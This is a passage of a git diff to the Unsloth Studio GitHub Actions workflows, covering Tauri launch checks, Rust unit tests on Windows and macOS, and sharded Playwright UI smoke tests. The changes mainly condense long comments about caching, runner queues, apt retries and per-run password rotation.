kill -TERM "$APP" 2>/dev/null || true
- # Surviving only counts if the launch reached the transition that
- # used to kill it: an app parked on the install or repair screen
- # also survives 20s while testing none of this.
+ # Only count launches that reached the spawn; a parked app survives trivially.
if grep -q "start_managed_server spawned" "launch-logs/app-$i.log"; then
echo "launch $i: reached the backend spawn and stayed up"
else
@@ -290,7 +213,6 @@ jobs:
wait "$XV" 2>/dev/null || true
done
- # Anything less is a user watching the window vanish on startup.
if [ "$fails" -ne 0 ]; then
echo "::error::$fails of 10 launches did not reach the app shell and stay there"
exit 1
@@ -307,15 +229,7 @@ jobs:
retention-days: 1
- name: Upload Tauri debug build
- # Failures only, and only the binary -- never the whole target/debug
- # tree. That directory is ~1.3GB per run: the 405MB unstripped binary
- # plus deps/, build/ and incremental/ intermediates that are useless
- # without the exact toolchain that produced them. Uploading it on every
- # run accumulated ~350GB of live artifacts, which is two orders of
- # magnitude past the org allowance. Actions storage is the one resource
- # that is NOT free on public repos, and exceeding it silently stops
- # GitHub scheduling jobs across the whole account -- no error, nothing
- # runs. A green run does not need its binary kept; a red one does.
+ # Failures only, and only the binary: target/debug is ~1.3GB per run.
if: failure()
uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2
with:
@@ -323,20 +237,14 @@ jobs:
path: |
studio/src-tauri/target/debug/unsloth-studio
studio/frontend/dist
- # The build can fail before the binary exists; still upload the
- # frontend dist rather than failing the upload itself.
if-no-files-found: warn
retention-days: 1
- # install.rs carries a Windows-only path normalizer for PowerShell 5.1. The
- # job above is Linux, and `cfg(windows)` items are stripped before type
- # checking, so nothing there compiles that code, let alone runs its tests.
- # That is how the RemoteSigned regression in #7819 reached two draft bundles.
+ # `cfg(windows)` code (e.g. install.rs path normalizer) is stripped on Linux.
windows-unit-tests:
if: github.event_name != 'pull_request' || !github.event.pull_request.draft
name: Rust unit tests (windows)
runs-on: windows-latest
- # A cold cache compiles both the debug and the release dependency tree.
timeout-minutes: 45
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
@@ -351,15 +259,10 @@ jobs:
- uses: swatinem/rust-cache@6323deb102c322ba6fcbdcafc7e3dddab59af2b6 # v2.9.2
with:
- # Save only on main. This action defaults to saving on every ref, and
- # a PR-scoped rust cache (550-840MB here) can only be restored by
- # re-runs of that same PR while still counting against the 50 GiB
- # per-repo budget, evicting main's copy that every PR can restore.
+ # Save only on main: PR-scoped caches only serve that PR and evict main's shared copy.
save-if: ${{ github.ref == 'refs/heads/main' }}
workspaces: studio/src-tauri -> target
- # Windows runners expose `python`, not `python3`, so pin an interpreter
- # the way every other windows job here does.
- uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0
with:
python-version: '3.12'
@@ -367,8 +270,7 @@ jobs:
- name: Lockfile supply-chain audit (pre-install scan)
run: python scripts/lockfile_supply_chain_audit.py
- # tauri-build resolves frontendDist at compile time, so dist/ must exist
- # before cargo test, exactly as in the Linux job.
+ # tauri-build resolves frontendDist at compile time, so dist/ must exist first.
- name: Frontend build (npm ci, vite)
working-directory: studio/frontend
run: |
@@ -379,9 +281,7 @@ jobs:
working-directory: studio/src-tauri
run: cargo test --no-fail-fast
- # `cargo test` builds only the debug profile, and the browser guard is
- # installed under `not(debug_assertions)`, so nothing above compiles its
- # call site. Check the release profile so that path cannot rot.
+ # The browser guard is under `not(debug_assertions)`, so check the release profile.
- name: Rust release type check (studio/src-tauri)
working-directory: studio/src-tauri
run: cargo check --all-targets --release
@@ -389,35 +289,9 @@ jobs:
macos-unit-tests:
if: github.event_name != 'pull_request' || !github.event.pull_request.draft
name: Rust unit tests (macos)
- # macos-26, not macos-15, on a measurement rather than a preference. Both are
- # free Apple Silicon standard runners, so this is the same class of machine.
- #
- # studio-mac-install-matrix runs both images from ONE matrix, so their queues
- # can be compared on identical commits and identical triggers. Over 163 jobs
- # per leg:
- #
- # exec med exec p90 queue p90
- # macos-15 160s 713s 20667s
- # macos-26 176s 597s 3866s
- #
- # The medians say the two are the same machine. The queue p90 says they are
- # not the same pool: macos-15 is 5.3x worse in the tail, five and a half hours
- # against one. That tail is what sets this repo's wall clock -- the census
- # behind it found every commit's last finisher to be this job, minutes of work
- # behind hours of waiting -- and the median hides it completely, because the
- # median wait on both images is zero.
- #
- # The likely cause is the macos-14 retirement (brownouts 2026-10-05, removal
- # 2026-11-02): everything migrated onto macos-15, including this job, and
- # macos-26 was left comparatively empty. That also means this is a fact about
- # today's pool and not a property of the image, so it is worth re-measuring
- # rather than assuming. The comparison above is one query against the install
- # matrix and can be re-run whenever the queue looks wrong again.
- #
- # Not macos-14 for the retirement above; all three are Apple Silicon, so the
- # arm64 paths are still what gets tested.
+ # macos-26, not macos-15: same hardware class but a much shorter queue tail (measured on
+ # studio-mac-install-matrix). Re-measure if queues change.
runs-on: macos-26
- # A cold cache compiles both the debug and the release dependency tree.
timeout-minutes: 45
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
@@ -432,10 +306,7 @@ jobs:
- uses: swatinem/rust-cache@6323deb102c322ba6fcbdcafc7e3dddab59af2b6 # v2.9.2
with:
- # Save only on main. This action defaults to saving on every ref, and
- # a PR-scoped rust cache (550-840MB here) can only be restored by
- # re-runs of that same PR while still counting against the 50 GiB
- # per-repo budget, evicting main's copy that every PR can restore.
+ # Save only on main: PR-scoped caches only serve that PR and evict main's shared copy.
save-if: ${{ github.ref == 'refs/heads/main' }}
workspaces: studio/src-tauri -> target
@@ -446,8 +317,7 @@ jobs:
- name: Lockfile supply-chain audit (pre-install scan)
run: python scripts/lockfile_supply_chain_audit.py
- # tauri-build resolves frontendDist at compile time, so dist/ must exist
- # before cargo test, exactly as in the Linux and Windows jobs.
+ # tauri-build resolves frontendDist at compile time, so dist/ must exist first.
- name: Frontend build (npm ci, vite)
working-directory: studio/frontend
run: |
@@ -458,9 +328,7 @@ jobs:
working-directory: studio/src-tauri
run: cargo test --no-fail-fast
- # `cargo test` builds only the debug profile, and the browser guard is
- # installed under `not(debug_assertions)`, so nothing above compiles its
- # call site. Check the release profile so that path cannot rot.
+ # The browser guard is under `not(debug_assertions)`, so check the release profile.
- name: Rust release type check (studio/src-tauri)
working-directory: studio/src-tauri
run: cargo check --all-targets --release
diff --git a/.github/workflows/studio-ui-smoke.yml b/.github/workflows/studio-ui-smoke.yml
index d58766f662b..9e48624acbc 100644
--- a/.github/workflows/studio-ui-smoke.yml
+++ b/.github/workflows/studio-ui-smoke.yml
@@ -1,49 +1,26 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# End-to-end Unsloth chat UI smoke via Playwright + Chromium against a
-# headless Linux runner. Boots Unsloth with the smallest GGUF
-# (gemma-3-270m-it UD-Q4_K_XL, ~254 MiB), drives the actual frontend
-# bundle, and asserts the full bootstrap-password / change-password /
-# send-message / persist-on-reload journey works end to end.
-#
-# This is the only workflow that catches regressions in the wiring
-# between the React frontend and the FastAPI backend, e.g. assistant-ui
-# version drift, /api/auth response shape changes, runtime-provider
-# regressions, or chat-history persistence breaking. Backend-only and
-# frontend-only CI happily pass while the actual user-visible UI is
-# broken (cf. the 2026.5.1 chat-history release).
+# End-to-end chat UI smoke via Playwright against a headless Linux Unsloth.
name: Unsloth UI CI
on:
pull_request:
paths:
- # The two halves Playwright drives, the backend and the React bundle, plus the
- # installer and CLI that put them on the box. Not studio/** and unsloth/**: the
- # install is --no-torch, so unsloth/** cannot reach the venv under test, and
- # studio/src-tauri is never built here.
+ # Not studio/** or unsloth/**: the install is --no-torch and src-tauri is never built.
- 'studio/backend/**'
- 'studio/frontend/**'
- 'studio/setup.sh'
- 'studio/install_*.py'
- # install_node_prebuilt.py trusts the archives pinned here (setup.sh:1243).
- 'studio/node_prebuilt_pins.json'
- 'studio/prebuilt_core.py'
- 'studio/install_manifest.py'
- 'unsloth_cli/**'
- 'install.sh'
- 'pyproject.toml'
- # The Playwright test files themselves -- a PR that ONLY edits
- # the test must still trigger UI CI. Kept as a directory glob, which
- # test_stt_model_search_locator_contract.py asserts.
- # The files under tests/ the jobs execute, not all of tests/studio (hundreds of
- # guard tests and PowerShell units no step here runs). Every lane runs
- # tests/studio/playwright_*.py scripts as plain python, and their only local
- # imports are _playwright_robust.py and other playwright_* modules (log_budget
- # comes from studio/backend/tests, listed above). The pytest step runs
- # test_stt_model_search_locator_contract.py from the repo root, which loads
- # tests/conftest.py, the tests package and tests/_shared.
+ # Directory glob asserted by test_stt_model_search_locator_contract.py.
+ # Only the tests/ files the jobs execute.
- 'tests/studio/playwright_*.py'
- 'tests/studio/_playwright_robust.py'
- 'tests/studio/test_stt_model_search_locator_contract.py'
@@ -52,27 +29,15 @@ on:
- 'tests/_shared/**'
- '.github/scripts/run-studio-permission-browser.sh'
- '.github/scripts/run-studio-indicator-browser.sh'
- # Reached by the installer this workflow already triggers on, so a commit touching
- # only one of these changes what the job runs while matching nothing else in the
- # list. install.sh --local hands off to the checked-out studio/setup.sh
- # (install.sh:7351), setup.sh runs nvidia_probe.py (setup.sh:266), and setup.ps1
- # runs install_python_stack.py and install_llama_prebuilt.py (setup.ps1:8127, 8655).
+ # Reached by the installers this workflow triggers on.
- 'studio/nvidia_probe.py'
- '.github/workflows/studio-ui-smoke.yml'
- # Every server boot in this workflow shells out to that script, so an edit
- # to it changes what this workflow actually runs.
- '.github/scripts/boot-studio-api-only.sh'
- # Same for the /api/health wait that runs after a boot.
- '.github/scripts/wait-for-health.sh'
- # And for the GGUF download that primes HF_HOME in every shard.
- '.github/scripts/hf-download-with-retry.sh'
- # Both apt steps in this workflow shell out to it, so an edit to it changes
- # what this workflow actually runs.
- '.github/scripts/retry-with-apt-lock.sh'
- # The install step in this workflow is `uses:` on that composite action,
- # so an edit to the action changes what this workflow actually runs.
+ # The install step in this workflow is `uses:` on that composite action.
- '.github/actions/install-unsloth-local/action.yml'
- # Reached through install-unsloth-local, which uses the dist and uv cache pairs.
- '.github/actions/frontend-dist-restore/action.yml'
- '.github/actions/frontend-dist-save/action.yml'
- '.github/actions/uv-cache-restore/action.yml'
@@ -90,13 +55,7 @@ on:
- 'unsloth_cli/**'
- 'install.sh'
- 'pyproject.toml'
- # The files under tests/ the jobs execute, not all of tests/studio (hundreds of
- # guard tests and PowerShell units no step here runs). Every lane runs
- # tests/studio/playwright_*.py scripts as plain python, and their only local
- # imports are _playwright_robust.py and other playwright_* modules (log_budget
- # comes from studio/backend/tests, listed above). The pytest step runs
- # test_stt_model_search_locator_contract.py from the repo root, which loads
- # tests/conftest.py, the tests package and tests/_shared.
+ # Only the tests/ files the jobs execute.
- 'tests/studio/playwright_*.py'
- 'tests/studio/_playwright_robust.py'
- 'tests/studio/test_stt_model_search_locator_contract.py'
@@ -141,56 +100,17 @@ jobs:
ui-smoke:
name: Chat UI Tests (${{ matrix.shard }})
runs-on: ubuntu-latest
- # Left at 30 even though each shard carries about half of the work.
- #
- # It was briefly cut to 20 on the reasoning that a quarter of the job needs a quarter
- # of the budget. Staging then cancelled three shards at 20m0s inside "Linux deps", an
- # apt step that takes 13 SECONDS in the org repo. The work was not slow; the runner
- # was. Tightening a timeout to fit the expected duration converts that kind of
- # infrastructure stall from a slow pass into a red build, and a timeout is there to
- # catch a hang, not to police the mean.
+ # Do not tighten: a timeout is for hangs, and runner stalls would turn into red builds.
timeout-minutes: 30
strategy:
- # Two shards, split where the job already split itself.
- #
- # This is 11 Playwright scripts run one after another against four Unsloth instances booted
- # one after another, and at 22.1 minutes on average it was the largest job in the
- # repo. The setup every shard has to repeat is small -- checkout, Linux deps,
- # Install Unsloth, Playwright browsers, about 2.6 minutes -- so splitting it was
- # nearly all profit in wall-clock. Four shards went too far: the queue wait for an
- # ubuntu-latest runner dwarfs a six-minute shard, so `banner` is folded into `chat`
- # (both install the three engines) and `picker` into `extra` (both chromium only).
- #
- # The boundaries are the Unsloth instances, not an even division of scripts: a
- # Unsloth boot, its health wait, its bootstrap password and the scripts that drive
- # it have to stay on one machine. So `chat` takes 18892 and the cross-browser
- # permission pass, then boots 18894 for the two banner passes once 18892 is down;
- # `extra` boots its own 18894, then 18898 and 18896 for the picker suites. One
- # Unsloth at a time on each runner, on its own port.
- #
- # In-machine parallelism is deliberately NOT used here. These are separate runners,
- # so each still boots one Unsloth at a time and nothing competes for RAM.
+ # Shard boundaries are the Unsloth instances: a boot, its password and its scripts stay
+ # on one runner. One Unsloth at a time per runner.
fail-fast: false
matrix:
- # The shard list stays a list: test_chat_ui_shards_cover_everything reads it
- # to prove every Playwright step lands on some shard, and an include-only
- # matrix hides it from that guard.
+ # Must stay a list: test_chat_ui_shards_cover_everything reads it.
shard: [chat, extra]
- # include: entries that match an existing combination ADD fields to it rather
- # than creating new jobs, which is how each shard gets the engines it drives
- # without changing the shard set.
- #
- # `extra` names no engine but chromium anywhere in its steps. Installing webkit's
- # system libraries for it is 181 packages and 102 MB of apt, which is what timed
- # this job out on 2026-08-19:
- #
- # 0 upgraded, 181 newly installed
- # Need to get 102 MB/114 MB of archives
- # Get:2 .../fonts-wqy-zenhei [7472 kB] -> 4m51s, then the attempt died
- #
- # Fonts, X fonts and a soundfont, fetched so that a shard which never launches
- # webkit could fail to fetch them. test_ui_shard_engines.py keeps this honest
- # against the steps rather than against this comment.
+ # include: entries add engines to existing shards. `extra` is chromium-only, so it skips
+ # webkit's ~100 MB of apt (test_ui_shard_engines.py).
include:
- shard: chat # permission controls + banner "other engines" drive all three
engines: chromium firefox webkit
@@ -216,29 +136,13 @@ jobs:
persist-credentials: false
- name: Linux deps
- # Retried through the shared helper. Unbounded, this stalled on the Azure
- # mirror for 28 minutes on one shard before anyone noticed, and would have
- # spent the job's full 30: an apt stall is not slow, it is silent. Every
- # step after it is skipped and the run reports "cancelled" with no reason,
- # so the shard says nothing about its subject.
- #
- # The retry is the point, not the shorter wait. The note on this job's
- # timeout-minutes records the last attempt at this -- cutting the JOB budget
- # to 20 turned the same stall from a slow pass into a red build, because a
- # single attempt had nowhere to go. Three bounded attempts do: 180s is ~14x
- # the 13 seconds this takes healthy, so only a mirror that is genuinely gone
- # burns all three, and that is a hang rather than a slow mean.
- #
- # The job's 30 stays the final backstop and is deliberately not tightened.
+ # Bounded and retried: an apt stall is silent and the run reports `cancelled`.
+ # The job's 30 stays the backstop.
timeout-minutes: 20
env:
- # See the note above: two long attempts beat three short ones against a
- # mirror that is slow rather than gone.
RETRY_ATTEMPTS: '2'
RETRY_ATTEMPT_TIMEOUT: '360'
- # One call, not two: retrying the install after a stalled update just re-reads
- # the same broken package list, and two calls double the worst case for no
- # extra coverage.
+ # One call: retrying install after a stalled update re-reads the same broken lists.
run: |
bash .github/scripts/retry-with-apt-lock.sh sudo sh -c \
'apt-get install -y --no-install-recommends libcurl4-openssl-dev libssl-dev jq || { apt-get update && apt-get install -y --no-install-recommends libcurl4-openssl-dev libssl-dev jq; }'
@@ -251,16 +155,13 @@ jobs:
with:
python-version: '3.12'
- # Static reads, so it runs first and fails fast; nothing else runs it.
- name: Playwright locator contract (static)
if: matrix.shard == 'chat'
run: |
python -m pip install --quiet 'pytest>=8'
python -m pytest tests/studio/test_stt_model_search_locator_contract.py -q
- # Cross-OS shared entry. The tree under `hf-cache` is byte-identical on
- # Linux, macOS and Windows, so the key carries no `runner.os`, and
- # enableCrossOsArchive lets Windows (which tars with --force-local) join it.
+ # Cross-OS key: the hf-cache tree is byte-identical on every OS.
- name: Restore HF_HOME for ${{ env.GGUF_REPO }}
id: cache-hf
uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0
@@ -283,19 +184,8 @@ jobs:
bash .github/scripts/hf-download-with-retry.sh ggml-org/models tinyllamas/stories260K.gguf
- name: Save HF_HOME for ${{ env.GGUF_REPO }}
- # Save on main only. Caches created on a PR ref are scoped to that
- # merge ref -- per GitHub's docs they "can only be restored by re-runs
- # of the pull request" -- while every PR *can* restore from the default
- # branch. So a PR-scoped save helps almost nothing and competes for the
- # per-repo cache budget, and when that budget is exceeded GitHub evicts
- # by least-recently-used, which deletes main's copies that all PRs share.
- # This repo's budget is 50 GiB, not GitHub's 10GB default, and it was
- # measured at 49.63 GiB across 258 entries -- 99.3% full, so eviction runs
- # at the margin. 20.74 GiB of that (42%) is the SAME key held on several
- # refs, and every one of those keys already has a copy on main, so the
- # PR-scoped duplicates are redundant by construction. That is the thrash
- # loop: PR misses -> downloads -> saves its own copy -> evicts main's ->
- # next PR misses.
+ # Save on main only: PR-scoped caches only serve that PR and evict main's shared copies
+ # from the near-full repo cache budget.
if: always() && github.ref == 'refs/heads/main' && steps.prime-hf.outcome == 'success' && hashFiles('hf-cache/**/*.gguf') != ''
uses: actions/cache/save@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0
with:
@@ -309,13 +199,7 @@ jobs:
pip install 'playwright>=1.45,<2'
echo "version=$(python -c 'import playwright; from importlib.metadata import version; print(version("playwright"))')" >> "$GITHUB_OUTPUT"
- # Three browser engines, downloaded on every job, on every run, uncached. It was
- # 0.75 minutes when one job needed them; with four shards it is four times that,
- # and it sits on the critical path of each one.
- #
- # Keyed on the resolved Playwright version because that is what decides which
- # browser builds are wanted: a floating '>=1.45' that resolves higher must not hit
- # a cache holding the older engines.
+ # Keyed on the resolved Playwright version, which decides the browser builds.
- name: Restore the Playwright browser cache
id: pw-cache
uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0
@@ -326,24 +210,7 @@ jobs:
- name: Restore the apt archive cache (webkit's .deb set)
id: apt-cache
- # The browser cache above holds the ENGINES. This holds the .deb files their
- # system libraries come from, which is a different 102 MB and the one that has
- # actually been taking jobs down:
- #
- # 0 upgraded, 181 newly installed
- # Need to get 102 MB/114 MB of archives
- # Get:2 .../fonts-wqy-zenhei [7472 kB] -> 4m51s, then the attempt died
- #
- # #9283 removed that cost from the two chromium-only shards by not asking for
- # webkit at all. The shards that genuinely drive webkit still pay it, so this is
- # the other half: pay the download once on main, and let a degraded mirror cost
- # a cache miss rather than a shard.
- #
- # Keyed on the runner image as well as the engine set, because which .deb
- # versions satisfy a dependency set is a property of the image. A key that
- # ignored it would offer noble packages to a future image; apt would reject them
- # against its index and re-fetch, so the failure is a slow no-op rather than a
- # wrong install -- but a silent one, and this is cheaper than finding out.
+ # Caches the .debs for the engines' system libraries, keyed on the runner image.
uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0
continue-on-error: true
with:
@@ -393,34 +260,17 @@ jobs:
env:
RETRY_ATTEMPTS: '2'
RETRY_ATTEMPT_TIMEOUT: '300'
- # install-deps runs its own `apt-get update`, and that is the only apt call
- # in this repo that cannot be restructured to try the image's lists first.
- # The helper's 20s transfer cap was applied and confirmed in the log on
- # 2026-08-19 and the update still burned 4m31s of a 300s attempt, twice, so
- # the step failed having never reached the download. Four InRelease URIs
- # stalling to the cap, repeated over apt's default 3 retries, is 4 x 4 x 20s.
- #
- # Zero hands resilience to the outer attempt loop, which re-runs the command
- # under a fresh timeout and reports which way each attempt went. apt's own
- # retries are invisible and are charged to the caller's budget.
+ # install-deps runs its own `apt-get update`; apt's internal retries are invisible and
+ # charged to our budget, so the outer attempt loop owns resilience.
APT_ACQUIRE_RETRIES: '0'
run: |
- # The browsers first, and WITHOUT --with-deps. That flag makes playwright
- # run its own `apt-get update` internally, which is the one apt call this
- # repo cannot restructure: on 2026-08-19 it spent 16m14s here against a
- # dead azure.archive.ubuntu.com while every other apt step in CI had
- # already been taught to skip the update entirely. A CDN download and an
- # apt transaction are two different failures and they are separated here.
+ # No --with-deps: it runs its own unbounded `apt-get update`.
if [ "${{ steps.pw-cache.outputs.cache-hit }}" != "true" ]; then
bash .github/scripts/retry-with-apt-lock.sh \
python -m playwright install ${{ matrix.engines }}
fi
- # Then ask whether the system libraries are actually missing, instead of
- # assuming they are. ubuntu-latest is a browser-testing image and ships
- # nearly all of them; when it does, `install-deps` is a full apt update
- # and transaction to install nothing. Launching each engine is the honest
- # test of that -- it is exactly what the suites are about to do.
+ # Probe whether the system libraries are actually missing before running apt.
probe() {
python - "$@" <<'PY'
import sys
@@ -445,24 +295,17 @@ jobs:
echo "::notice::skipped playwright install-deps; the runner image already has the libraries"
else
echo "system libraries are missing, installing them"
- # Hand apt last run's .debs before it goes looking for them. apt checks each
- # file against its index and re-fetches only what does not match, so a stale
- # cache costs a download rather than a wrong install.
+ # Reuse last run's .debs; apt re-fetches any that do not match its index.
if [ -d "${{ github.workspace }}/.apt-archives" ]; then
sudo cp "${{ github.workspace }}"/.apt-archives/*.deb /var/cache/apt/archives/ 2>/dev/null || true
echo "seeded $(ls "${{ github.workspace }}"/.apt-archives/*.deb 2>/dev/null | wc -l) cached .deb files"
fi
bash .github/scripts/retry-with-apt-lock.sh \
python -m playwright install-deps ${{ matrix.engines }}
- # Harvest for next time. apt keeps what it installed in the archive dir until
- # something runs `apt-get clean`, so this is exactly what it just used --
- # seeded or downloaded, and only the packages this engine set needs.
mkdir -p "${{ github.workspace }}/.apt-archives"
sudo cp /var/cache/apt/archives/*.deb "${{ github.workspace }}/.apt-archives/" 2>/dev/null || true
sudo chown -R "$(id -u):$(id -g)" "${{ github.workspace }}/.apt-archives" || true
- # Fail loudly rather than proceeding into suites that cannot launch a
- # browser: without this the real error surfaces later as an opaque
- # per-test timeout in whichever suite happens to run first.
+ # Fail loudly here rather than as an opaque per-test timeout later.
probe ${{ matrix.engines }}
fi
@@ -494,9 +337,6 @@ jobs:
# always() stays, so an unrelated earlier failure does not throw away browsers
# that did download; the outcome check is what narrows it to this step.
- name: Save the apt archive cache
- # main only, same rule as every other cache here: a PR-ref entry can only be
- # restored by re-runs of that same PR while still counting against the shared
- # budget, evicting the copy every PR can read.
if: >-
(github.ref == 'refs/heads/main' || (github.ref == 'refs/heads/upstream-main' && github.repository != 'unslothai/unsloth'))
&& steps.apt-cache.outputs.cache-hit != 'true'
@@ -539,27 +379,12 @@ jobs:
- name: Wait for /api/health
if: matrix.shard == 'chat'
- # The 180 s deadline lives in wait-for-health.sh, along with the
- # reason for it: a cold runner with venv warm-up + lazy imports
- # has been seen to exceed 60 s.
run: |
bash .github/scripts/wait-for-health.sh --port "$STUDIO_PORT"
- name: Pass bootstrap password to the Playwright step
if: matrix.shard == 'chat'
- # The Playwright test does its OWN /change-password through the
- # UI (Setup your account / Choose a new password), then loads
- # the model via page.evaluate against /api/inference/load with
- # the JWT it got from change-password. So the only thing we
- # have to hand it is the bootstrap password (so it can verify
- # post-rotation that the OLD bootstrap pw now returns 401).
- #
- # NEW + NEW2 are generated freshly per CI run via secrets.token_urlsafe
- # rather than hardcoded. If a workflow gets compromised, the
- # attacker can't replay a known-good rotated password against
- # any future / parallel Unsloth install -- the rotated value
- # only ever exists for the lifetime of this single job, masked
- # in the log via ::add-mask::.
+ # The test rotates the password itself; NEW/NEW2 are random per run and masked.
run: |
OLD=$(cat ~/.unsloth/studio/auth/.bootstrap_password)
NEW="CIUi-$(python -c 'import secrets; print(secrets.token_urlsafe(16))')"
@@ -575,13 +400,8 @@ jobs:
if: matrix.shard == 'chat'
env:
BASE_URL: http://127.0.0.1:18892
- # The test file lives in the repo so it can be run locally
- # against a freshly-installed Unsloth (BASE_URL=...; STUDIO_OLD_PW=
- # $(cat ~/.unsloth/studio/auth/.bootstrap_password); python ...).
PW_ART_DIR: logs/playwright
- # Strict mode: in CI a missing button / nav / dialog must
- # FAIL the test. Locally the test still runs against partial
- # Unsloth installs without STUDIO_UI_STRICT.
+ # Strict mode: in CI a missing control must fail the test.
STUDIO_UI_STRICT: '1'
run: |
mkdir -p logs/playwright
@@ -600,11 +420,7 @@ jobs:
bash .github/scripts/run-studio-permission-browser.sh 18893 webkit
bash .github/scripts/run-studio-permission-browser.sh 18893 chromium chrome
- # The chat UI test ends by clicking the Shutdown menuitem, which
- # leaves the server dead. The extra UI test (Compare / Recipes /
- # Export / Unsloth / Settings) needs a fresh Unsloth, so we boot a
- # second one on a different port. Boot is fast (~3-5s on the
- # warm install we already did) so this adds little wall time.
+ # The chat test ends by clicking Shutdown, so boot a second Unsloth.
- name: Reset auth + boot Unsloth for extra UI tests (port 18894)
if: matrix.shard == 'extra' || matrix.shard == 'chat'
run: |
@@ -676,8 +492,7 @@ jobs:
mkdir -p logs/playwright_fontscale
python tests/studio/playwright_ui_font_scale.py
- # Seeds its own thread, so it needs no model and no id from an earlier step. Not in
- # the chat shard: that one ends by clicking Shutdown, and this sweeps 7 viewports.
+ # Not in the chat shard: that one ends by clicking Shutdown.
- name: Chat width presets (Playwright)
if: matrix.shard == 'extra'
env:
@@ -688,8 +503,6 @@ jobs:
mkdir -p logs/playwright_chat_width
python tests/studio/playwright_chat_width.py
- # The owner creates an account, its setup code is private, and switching accounts in one
- # browser clears account data; the account is deleted at the end, so the owner is back alone.
- name: Multi-account switch flow (Playwright)
if: matrix.shard == 'extra'
env:
@@ -709,12 +522,7 @@ jobs:
mkdir -p logs/playwright_update_banner
python tests/studio/playwright_update_banner_layout.py
- # Firefox and WebKit at the viewports that reproduce, and nothing else:
- # the card's floor and the action row's wrap threshold are measurements,
- # and the three engines do not agree on font metrics or on whether a
- # scrollbar takes width out of the box it sits on. WebKit is the closest
- # this runner gets to Safari. Cut down to `spot` because a third full
- # pass would spend minutes re-answering the first pass's questions.
+ # Font metrics and scrollbar width differ per engine; WebKit approximates Safari.
- name: Update banner layout, other engines (Playwright)
if: matrix.shard == 'chat'
env:
@@ -750,8 +558,6 @@ jobs:
python tests/studio/playwright_image_download_cancel_retry.py
PW_DOWNLOAD_ONLY=1 PW_ART_DIR="$PW_ART_DIR/download-only" python tests/studio/playwright_image_download_cancel_retry.py
- # Same drive with the checkpoint absent, so the plan stages two entries instead of one and
- # the queue's ordering and cancellation are covered as well as the single-entry path.
- name: Image staged-download cancel/retry regression, cold checkpoint (Playwright)
if: matrix.shard == 'extra'
env:
@@ -817,15 +623,8 @@ jobs:
fi
python tests/studio/playwright_tool_activity.py --json
- # The log budget in studio/backend/tests/log_budget compares two BACKEND files with
- # each other: the suppression sets in loggers/handlers.py and the poll cadences in
- # session.py. A pull request that adds a polling call site in the frontend edits
- # neither, so it passes, and the new endpoint logs every hit on a 300 ms window.
- # Only a browser can see that a timer started, whatever it was implemented with.
- #
- # Last of the shard's steps on purpose: it walks the sidebar and then sits idle for
- # two minutes, and it rotates the bootstrap password, so anything scheduled after it
- # would wait on the dwell and then meet a password it did not mint.
+ # The backend log budget cannot see new frontend polling; only a browser can.
+ # Last in the shard: it idles two minutes and rotates the bootstrap password.
- name: Every polled path is declared in the log budget (Playwright)
if: matrix.shard == 'extra'
env:
@@ -843,11 +642,7 @@ jobs:
kill "${STUDIO_EXTRA_PID}" 2>/dev/null || true
sleep 2
- # Model-picker per-model-config regression (PR #7207 re-land of #6647).
- # Fourth Unsloth on its own port; loads the tiny GGUF and drives the
- # picker's run-settings surface: Context Length persists across a reload,
- # Reset clears the stored override (never pins it), and the infra models
- # (RAG embedder + llama.cpp probe) stay hidden from the picker.
+ # Model-picker per-model-config regression on its own port.
- name: Reset auth + boot Unsloth for model-config tests (port 18898)
if: matrix.shard == 'extra'
run: |
@@ -881,19 +676,7 @@ jobs:
mkdir -p logs/playwright_modelcfg
python tests/studio/playwright_model_config.py
- # "Estimated Memory Usage" row in the same run-settings panel: the collapsible
- # readout that prices a prospective GGUF load before it runs.
- #
- # On the fourth Unsloth rather than a fifth, and immediately after the step above,
- # for two reasons. The row is GGUF-only, so it needs a GGUF sitting in the picker,
- # and that step has just put one there. And it needs nothing else from the server:
- # POST /api/inference/estimate-memory is intercepted in the browser, so the figures
- # under assertion are the ones the suite handed back rather than this runner's own
- # memory, which is what makes them assertable at all.
- #
- # It attaches with the password the step above minted instead of driving
- # /change-password itself: the bootstrap password on this instance has already been
- # rotated by then, so there is no first-boot flow left to drive.
+ # Reuses the fourth instance and its GGUF; estimate-memory is intercepted in the browser.
- name: Estimated Memory Usage row (Playwright)
if: matrix.shard == 'extra'
env:
@@ -913,9 +696,7 @@ jobs:
kill "${STUDIO_MODELCFG_PID}" 2>/dev/null || true
sleep 2
- # IME + multilingual paste regression (issue #5318 / PR #5327).
- # Third Unsloth on its own port so a hang here cannot poison the
- # earlier UI tests. No GGUF -- the bug surface is the composer.
+ # IME + multilingual paste regression on its own port; no GGUF needed.
- name: Reset auth + boot Unsloth for IME / i18n tests (port 18896)
if: matrix.shard == 'extra'
run: |
@@ -930,9 +711,6 @@ jobs:
- name: Pass bootstrap pw for IME / i18n test
if: matrix.shard == 'extra'
- # IME smoke does the change-password against the bootstrap that
- # Unsloth's frontend injects into the page, so it only needs the
- # NEW password.
run: |
NEW="CIIme-$(python -c 'import secrets; print(secrets.token_urlsafe(16))')"
echo "::add-mask::$NEW"
@@ -955,13 +733,7 @@ jobs:
kill "${STUDIO_IME_PID}" 2>/dev/null || true
sleep 2
- # Every shard, not just the one that happened to own the last Unsloth.
- #
- # This copy used to sit inside the step above, with a comment saying all three
- # Unsloth instances share the directory. That was true when they shared a RUNNER. Each cell
- # now has its own machine and its own ~/.unsloth/studio/logs, so leaving it there
- # would upload three artifacts with no server-side traceback in them, and those are
- # the artifacts anyone debugging a failed shard would open first.
+ # Every shard has its own ~/.unsloth/studio/logs, so capture them per shard.
- name: Capture the backend and llama-server logs
if: always()
run: |
@@ -969,14 +741,11 @@ jobs:
cp -r ~/.unsloth/studio/logs/. logs/server-logs/ 2>/dev/null || true
- name: Upload Playwright artifacts
- # Always upload so a green run's screenshots stay reviewable --
